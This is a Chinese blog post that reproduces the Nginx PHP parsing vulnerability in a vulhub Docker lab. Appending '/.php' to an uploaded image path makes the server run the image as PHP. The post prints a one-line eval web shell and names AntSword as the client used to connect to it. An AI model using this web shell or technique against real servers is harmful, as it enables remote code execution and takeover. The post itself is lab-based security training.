欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

重现Nginx解析漏洞的过程

最编程 2024-07-24 07:00:58
...
漏洞环境搭建
  • 时间有限,漏洞环境搭建教程简单,在此不再赘述。
    具体项目地址:https://github.com/vulhub/vulhub
    搭建教程及说明可参考:https://vulhub.org/
    -还是挺简单的-
Nginx 解析漏洞复现步骤如下:
  • 靶机环境
CentOS7
nginx/1.15.3
PHP Version 7.2.10

由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

  • 启动环境
[root@localhost ~]# cd vulhub/nginx/nginx_parsing_vulnerability/
[root@localhost nginx_parsing_vulnerability]# systemctl start docker.service 
[root@localhost nginx_parsing_vulnerability]# docker-compose build
[root@localhost nginx_parsing_vulnerability]# docker-compose up -d
  • 复现
    1). 访问 http://IP/uploadfiles/nginx.png 如下所示:
    1.png

2). 访问 http://IP/uploadfiles/nginx.png/.php 如下所示:

2.png

通过测试可以看出这就是传说中的nginx解析漏洞:在/nginx.png后加/.php会将nginx.png当成php解析

  • 利用此解析漏洞拿webshell
3.png

一句话:

<?php eval($_POST['zzqsmile'])?>
4.png
  • 最后要注意的是做完漏洞测试实验后记得移除环境
[root@localhost nginx_parsing_vulnerability]# docker-compose down
Stopping nginxparsingvulnerability_nginx_1 ... done
Stopping nginxparsingvulnerability_php_1 ... done
Removing nginxparsingvulnerability_nginx_1 ... done
Removing nginxparsingvulnerability_php_1 ... done
Removing network nginxparsingvulnerability_default
[root@localhost nginx_parsing_vulnerability]# 

在拿webshell时候本来应该很简单,但是开始怎么做菜刀都不能连接成功,后来排错,最后得出可能由于环境问题,菜刀连接不上,不得不用这个之前不知道的蚁剑神器了,弄的我怀疑人生,换个工具一下就连接上,没毛病。

  • 中国蚁剑
    蚁剑地址:https://github.com/AntSwordProject/antSword/releases
    官方加载器:https://github.com/AntSwordProject/AntSword-Loader